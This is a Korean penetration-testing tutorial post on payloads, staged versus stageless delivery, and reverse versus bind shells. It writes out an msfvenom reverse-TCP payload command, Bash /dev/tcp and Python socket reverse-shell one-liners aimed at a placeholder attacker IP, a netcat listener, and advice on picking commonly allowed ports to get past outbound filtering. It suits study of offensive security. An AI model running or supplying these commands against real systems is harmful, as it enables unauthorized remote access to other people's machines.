hhkb
모의해킹

호스트기반모의해킹_23_페이로드와 리버스 쉘

작성자 : Heehyeon Yoo|2025-12-03
# 모의해킹# Payload# Reverse Shell# MSFVenom# Netcat

1. 페이로드(Payload) 개요

페이로드(Payload)는 익스플로잇(Exploit) 성공 후 타겟 시스템에서 실행되는 코드나 데이터를 의미한다.

  • 구성 요소: 대상(Target OS), 포맷(Format: ELF, EXE), 전달 방식(Staging), 종류(Type).
  • 전달 방식에 따른 분류:
    • Staged Payload: 작은 로더(Loader)만 먼저 실행 후, 나머지 공격 코드를 네트워크로 다운로드한다.(용량 작음, 탐지 가능성)
    • Stageless Payload: 모든 기능이 포함된 단일 파일.(용량 큼, 안정적)

2. 쉘(Shell)의 종류

2.1 리버스 쉘(Reverse Shell)

  • 동작: 타겟(Target)공격자(Attacker)에게 연결을 시도한다(Outbound Connection).
  • 장점: 대부분의 방화벽은 들어오는 연결(Inbound)은 막지만, 나가는 연결(Outbound)은 허용하는 경우가 많아 방화벽 우회에 유리하다.
  • 실무: 모의해킹에서 가장 많이 사용되는 방식이다.

2.2 바인드 쉘(Bind Shell)

  • 동작: 타겟 시스템의 특정 포트를 열어두고(Bind), 공격자타겟으로 접속한다(Inbound Connection).
  • 단점: 방화벽(Inbound Deny)이나 NAT 환경에서는 접속이 불가능한 경우가 많다.

3. 리버스 쉘 제작 및 실습

3.1 MSFVenom(자동화 도구)

메타스플로잇(Metasploit) 프레임워크에 포함된 페이로드 생성 도구.

# 리눅스 64비트 Stageless Reverse TCP 쉘 생성
# -p: 페이로드, LHOST: 공격자 IP, LPORT: 공격자 포트, -f: 포맷, -o: 출력 파일
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[Attacker_IP] LPORT=[Port] -f elf -o shell.elf

3.2 One-Liner(스크립트 활용)

파일 업로드가 제한적일 때, 타겟 시스템에 존재하는 인터프리터(Bash, Python 등)를 이용한다.

  • Bash:
    bash -i >& /dev/tcp/[Attacker_IP]/[Port] 0>&1
    
  • Python:
    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[Port]));os.dup2(s.fileno(),0);...'
    
  • 팁: revshells.com 사이트에서 IP/Port만 입력하면 다양한 언어의 구문을 자동으로 생성해준다.

3.3 리스너(Listener) 설정

공격자는 타겟이 보내는 연결을 받을 준비를 해야 한다.

# Netcat을 이용한 리스너(포트 대기)
nc -lvnp [Port]
  • -l: Listen 모드
  • -v: Verbose(상세 출력)
  • -n: DNS 조회 안 함(No Resolve, 속도 향상)
  • -p: Port 지정

4. 실무에서는?

  1. 환경 조사 필수: "무조건 리버스 쉘"이 아니라, 타겟에 python이 있는지 nc가 있는지 확인 후 적절한 페이로드를 선택한다.
  2. 포트 선택: 아웃바운드 필터링을 우회하기 위해 80, 443, 53, 8080일반적으로 허용되는 포트를 LPORT로 사용하는 것이 성공 확률이 높다.